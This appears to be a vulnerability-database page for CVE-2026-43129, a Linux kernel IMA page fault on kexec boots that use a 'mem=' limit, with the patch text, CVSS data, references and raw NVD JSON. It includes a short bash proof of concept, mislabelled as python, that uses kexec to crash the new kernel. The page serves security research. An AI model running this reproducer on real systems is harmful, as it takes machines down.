CVE-2026-43129

Description

In the Linux kernel, the following vulnerability has been resolved: ima: verify the previous kernel's IMA buffer lies in addressable RAM Patch series "Address page fault in ima_restore_measurement_list()", v3. When the second-stage kernel is booted via kexec with a limiting command line such as "mem=<size>" we observe a pafe fault that happens. BUG: unable to handle page fault for address: ffff97793ff47000 RIP: ima_restore_measurement_list+0xdc/0x45a #PF: error_code(0x0000) not-present page This happens on x86_64 only, as this is already fixed in aarch64 in commit: cbf9c4b9617b ("of: check previous kernel's ima-kexec-buffer against memory bounds") This patch (of 3): When the second-stage kernel is booted with a limiting command line (e.g. "mem=<size>"), the IMA measurement buffer handed over from the previous kernel may fall outside the addressable RAM of the new kernel. Accessing such a buffer can fault during early restore. Introduce a small generic helper, ima_validate_range(), which verifies that a physical [start, end] range for the previous-kernel IMA buffer lies within addressable memory: - On x86, use pfn_range_is_mapped(). - On OF based architectures, use page_is_ram().

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (特定修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# This PoC demonstrates the scenario triggering the vulnerability.
# It assumes the attacker has root privileges to load a kexec kernel.

# 1. Prepare a kernel image (e.g., /boot/vmlinuz)
KERNEL_IMAGE="/boot/vmlinuz-$(uname -r)"

# 2. Prepare a limiting initrd (standard)
INITRD_IMAGE="/boot/initrd.img-$(uname -r)"

# 3. Load the kernel with a memory limit (e.g., 1GB)
# This forces the IMA buffer (if located > 1GB) to be outside addressable RAM.
echo "[*] Loading kernel with memory limit..."
kexec -l "$KERNEL_IMAGE" --initrd="$INITRD_IMAGE" --command-line="root=/dev/sda1 ro mem=1G quiet"

# 4. Execute kexec to reboot into the new kernel
# If the IMA buffer is above 1GB, the new kernel will crash on boot.
echo "[*] Executing kexec..."
kexec -e

# Note: The crash occurs in ima_restore_measurement_list() during early boot.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43129
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43129
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43129/
[4] VulDB https://vuldb.com/cve/CVE-2026-43129
[5] https://git.kernel.org/stable/c/10d1c75ed4382a8e79874379caa2ead8952734f9
[6] https://git.kernel.org/stable/c/5366ec7d2f793ce703c403d7fd4c25a3db365b9d
[7] https://git.kernel.org/stable/c/9e1f51c1ad57cc76a0e8b5eb27038f8973fff4fa
[8] https://git.kernel.org/stable/c/f11d7d088f5ed54b31c6735854c12845eb60eb4a

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43129", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:29.963", "lastModified": "2026-05-11T13:08:54.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nima: verify the previous kernel's IMA buffer lies in addressable RAM\n\nPatch series \"Address page fault in ima_restore_measurement_list()\", v3.\n\nWhen the second-stage kernel is booted via kexec with a limiting command\nline such as \"mem=<size>\" we observe a pafe fault that happens.\n\n BUG: unable to handle page fault for address: ffff97793ff47000\n RIP: ima_restore_measurement_list+0xdc/0x45a\n #PF: error_code(0x0000) not-present page\n\nThis happens on x86_64 only, as this is already fixed in aarch64 in\ncommit: cbf9c4b9617b (\"of: check previous kernel's ima-kexec-buffer\nagainst memory bounds\")\n\n\nThis patch (of 3):\n\nWhen the second-stage kernel is booted with a limiting command line (e.g. \n\"mem=<size>\"), the IMA measurement buffer handed over from the previous\nkernel may fall outside the addressable RAM of the new kernel. Accessing\nsuch a buffer can fault during early restore.\n\nIntroduce a small generic helper, ima_validate_range(), which verifies\nthat a physical [start, end] range for the previous-kernel IMA buffer lies\nwithin addressable memory:\n\t- On x86, use pfn_range_is_mapped().\n\t- On OF based architectures, use page_is_ram()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.12.77", "matchCriteriaId": "08247D85-C56B-439D-A2E8-1570C7CF83AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/10d1c75ed4382a8e79874379caa2ead8952734f9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5366ec7d2f793ce703c403d7fd4c25a3db365b9d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9e1f51c1ad57cc76a0e8b5eb27038f8973fff4fa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f11d7d088f5ed54b31c6735854c12845eb60eb4a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}